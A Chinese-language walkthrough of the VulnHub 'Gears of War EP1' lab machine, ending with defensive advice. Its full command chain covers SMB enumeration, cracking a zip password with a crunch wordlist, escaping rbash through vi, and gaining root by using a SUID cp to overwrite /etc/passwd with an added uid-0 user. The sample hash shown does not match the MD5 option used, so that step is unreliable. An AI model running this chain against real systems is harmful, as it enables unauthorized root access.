Gear of war靶机渗透
字数 1109 2025-08-12 11:34:33

Gear of War 靶机渗透实战教学文档

1. 靶机概述

靶机名称: Gears of War EP1
下载地址: VulnHub
难度: 中等(包含一些rabbit holes/误导路径)
目标: 从监狱逃脱并获取root权限
测试环境IP: 10.8.1.123

2. 信息收集阶段

2.1 端口扫描

使用nmap进行初始扫描:

nmap -sV -p- 10.8.1.123

开放端口及服务:

  • 22/tcp: SSH
  • 25/tcp: SMTP
  • 80/tcp: HTTP
  • 110/tcp: POP3
  • 139/tcp: NetBIOS
  • 445/tcp: SMB

2.2 SMB服务枚举

使用enum4linux工具收集SMB信息:

enum4linux -a 10.8.1.123

发现:

  • 共享文件夹: LOCUS_LAN$
  • 有效用户: marcus (可匿名访问)

3. 初始访问获取

3.1 访问SMB共享

使用smbclient连接共享:

smbclient //10.8.1.123/LOCUS_LAN$ -U marcus

(密码为空)

获取的文件:

  • msg_horda.zip
  • SOS.txt

3.2 文件分析

SOS.txt内容:

找到了一个文件,其中包含一个密码,尝试获得密码

3.3 ZIP密码破解

  1. 生成字典:
crunch 4 4 -t @%%, -o dic.txt

(解释:@代表小写字母,%代表数字,,代表大写字母)

  1. 使用fcrackzip爆破:
fcrackzip -D -u -p dic.txt msg_horda.zip

爆破结果: 密码为r44M

  1. 解压文件:
unzip -P r44M msg_horda.zip

获得key.txt文件,内容提示密码可能是3_d4y

4. SSH访问

4.1 暴力破解SSH

已知用户marcus,尝试密码3_d4y

ssh marcus@10.8.1.123

成功登录

5. 受限环境突破

5.1 绕过rbash限制

  1. 使用vi编辑器绕过:
vi
:set shell=/bin/sh
:shell
  1. 升级shell:
python -c 'import pty;pty.spawn("/bin/bash")'

6. 权限提升

6.1 查找SUID文件

find / -perm -u=s -type f 2>/dev/null

发现cp命令具有SUID权限

6.2 利用cp提权

  1. 复制passwd文件:
cp /etc/passwd .
  1. 生成加密密码:
openssl passwd -1 -salt win test

输出示例:teH0wLIpW0gyQ

  1. 编辑passwd文件:
echo "win:teH0wLIpW0gyQ:0:0:root:/root:/bin/bash" >> passwd
  1. 覆盖原passwd文件:
cp passwd /etc/passwd
  1. 切换用户:
su win

密码:test

7. 获取flag

成功获取root权限后,在常规位置查找flag文件(如/root目录下)

关键知识点总结

  1. SMB枚举技巧:enum4linux是收集SMB信息的强大工具
  2. 密码爆破策略
    • 利用crunch生成针对性字典
    • 理解密码模式(@%%,等占位符含义)
  3. 受限shell绕过:通过编辑器或python升级shell
  4. SUID提权
    • 识别可利用的SUID二进制文件
    • 通过修改passwd文件添加root权限用户
  5. 密码生成:openssl passwd命令的使用

防御建议

  1. 禁用SMB匿名访问
  2. 使用强密码策略,避免简单模式密码
  3. 限制SUID权限,定期审计
  4. 实施rbash时确保完全限制,防止绕过
  5. 监控/etc/passwd文件的异常修改
Gear of War 靶机渗透实战教学文档 1. 靶机概述 靶机名称 : Gears of War EP1 下载地址 : VulnHub 难度 : 中等(包含一些rabbit holes/误导路径) 目标 : 从监狱逃脱并获取root权限 测试环境IP : 10.8.1.123 2. 信息收集阶段 2.1 端口扫描 使用nmap进行初始扫描: 开放端口及服务 : 22/tcp: SSH 25/tcp: SMTP 80/tcp: HTTP 110/tcp: POP3 139/tcp: NetBIOS 445/tcp: SMB 2.2 SMB服务枚举 使用enum4linux工具收集SMB信息: 发现 : 共享文件夹: LOCUS_LAN$ 有效用户: marcus (可匿名访问) 3. 初始访问获取 3.1 访问SMB共享 使用smbclient连接共享: (密码为空) 获取的文件 : msg_ horda.zip SOS.txt 3.2 文件分析 SOS.txt内容 : 3.3 ZIP密码破解 生成字典: (解释:@代表小写字母,%代表数字,,代表大写字母) 使用fcrackzip爆破: 爆破结果 : 密码为 r44M 解压文件: 获得 key.txt 文件,内容提示密码可能是 3_d4y 4. SSH访问 4.1 暴力破解SSH 已知用户 marcus ,尝试密码 3_d4y : 成功登录 5. 受限环境突破 5.1 绕过rbash限制 使用vi编辑器绕过: 升级shell: 6. 权限提升 6.1 查找SUID文件 发现 cp 命令具有SUID权限 6.2 利用cp提权 复制passwd文件: 生成加密密码: 输出示例: teH0wLIpW0gyQ 编辑passwd文件: 覆盖原passwd文件: 切换用户: 密码: test 7. 获取flag 成功获取root权限后,在常规位置查找flag文件(如/root目录下) 关键知识点总结 SMB枚举技巧 :enum4linux是收集SMB信息的强大工具 密码爆破策略 : 利用crunch生成针对性字典 理解密码模式(@%%,等占位符含义) 受限shell绕过 :通过编辑器或python升级shell SUID提权 : 识别可利用的SUID二进制文件 通过修改passwd文件添加root权限用户 密码生成 :openssl passwd命令的使用 防御建议 禁用SMB匿名访问 使用强密码策略,避免简单模式密码 限制SUID权限,定期审计 实施rbash时确保完全限制,防止绕过 监控/etc/passwd文件的异常修改